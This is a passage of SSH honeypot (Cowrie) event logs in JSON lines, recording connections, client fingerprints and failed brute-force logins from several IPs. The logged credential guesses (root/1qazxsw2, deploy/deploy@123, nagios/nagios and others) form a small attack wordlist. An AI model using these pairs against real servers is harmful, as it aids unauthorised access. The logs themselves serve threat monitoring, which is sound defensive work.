0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:13.405679Z","src_ip":"176.65.139.95","session":"989aa1e7037f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:13.751981Z","src_ip":"176.65.139.95","session":"989aa1e7037f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33060,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce672821218","protocol":"ssh","message":"New connection: 192.109.200.78:33060 (159.203.135.109:22) [session: 8ce672821218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:14.596345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:14.601863Z","src_ip":"192.109.200.78","session":"8ce672821218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:14.689008Z","src_ip":"192.109.200.78","session":"8ce672821218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:14.872502Z","src_ip":"176.65.139.95","session":"989aa1e7037f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:14.957698Z","src_ip":"192.109.200.78","session":"8ce672821218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:16.043689Z","src_ip":"192.109.200.78","session":"8ce672821218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41302,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a947e765a62","protocol":"ssh","message":"New connection: 192.109.200.78:41302 (159.203.135.109:22) [session: 2a947e765a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:18.907592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:18.919394Z","src_ip":"192.109.200.78","session":"2a947e765a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:19.004779Z","src_ip":"192.109.200.78","session":"2a947e765a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:19.253880Z","src_ip":"192.109.200.78","session":"2a947e765a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38332,"dst_ip":"159.203.135.109","dst_port":22,"session":"8860132e3b36","protocol":"ssh","message":"New connection: 176.65.139.95:38332 (159.203.135.109:22) [session: 8860132e3b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:19.544194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:19.572465Z","src_ip":"176.65.139.95","session":"8860132e3b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:19.629617Z","src_ip":"176.65.139.95","session":"8860132e3b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:19.973894Z","src_ip":"176.65.139.95","session":"8860132e3b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:20.339607Z","src_ip":"192.109.200.78","session":"2a947e765a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:21.062790Z","src_ip":"176.65.139.95","session":"8860132e3b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":40168,"dst_ip":"159.203.135.109","dst_port":22,"session":"07234387c1b6","protocol":"ssh","message":"New connection: 177.36.200.182:40168 (159.203.135.109:22) [session: 07234387c1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:22.561013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:22.565504Z","src_ip":"177.36.200.182","session":"07234387c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41308,"dst_ip":"159.203.135.109","dst_port":22,"session":"130b0ea22f88","protocol":"ssh","message":"New connection: 192.109.200.78:41308 (159.203.135.109:22) [session: 130b0ea22f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:22.904827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:22.909929Z","src_ip":"192.109.200.78","session":"130b0ea22f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:22.966117Z","src_ip":"177.36.200.182","session":"07234387c1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:22.993158Z","src_ip":"192.109.200.78","session":"130b0ea22f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:23.249110Z","src_ip":"192.109.200.78","session":"130b0ea22f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:24.174302Z","src_ip":"177.36.200.182","session":"07234387c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:24.334384Z","src_ip":"192.109.200.78","session":"130b0ea22f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:25.577967Z","src_ip":"177.36.200.182","session":"07234387c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38348,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f6ea78d579a","protocol":"ssh","message":"New connection: 176.65.139.95:38348 (159.203.135.109:22) [session: 5f6ea78d579a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:26.146851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:26.160203Z","src_ip":"176.65.139.95","session":"5f6ea78d579a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:26.262874Z","src_ip":"176.65.139.95","session":"5f6ea78d579a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:26.532356Z","src_ip":"176.65.139.95","session":"5f6ea78d579a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41314,"dst_ip":"159.203.135.109","dst_port":22,"session":"f21c5b6a1c09","protocol":"ssh","message":"New connection: 192.109.200.78:41314 (159.203.135.109:22) [session: f21c5b6a1c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:27.202753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:27.208354Z","src_ip":"192.109.200.78","session":"f21c5b6a1c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:27.620788Z","src_ip":"176.65.139.95","session":"5f6ea78d579a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:27.894060Z","src_ip":"192.109.200.78","session":"f21c5b6a1c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:28.145880Z","src_ip":"192.109.200.78","session":"f21c5b6a1c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":62885,"dst_ip":"10.17.0.5","dst_port":22,"session":"229c00593ac8","protocol":"ssh","message":"New connection: 177.54.62.66:62885 (10.17.0.5:22) [session: 229c00593ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:29.075663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:29.084392Z","src_ip":"177.54.62.66","session":"229c00593ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:29.217994Z","src_ip":"177.54.62.66","session":"229c00593ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:29.234728Z","src_ip":"192.109.200.78","session":"f21c5b6a1c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo2024","message":"login attempt [odoo/odoo2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:29.784297Z","src_ip":"177.54.62.66","session":"229c00593ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:31:30.920313Z","src_ip":"177.54.62.66","session":"229c00593ac8","protocol":"ssh"}
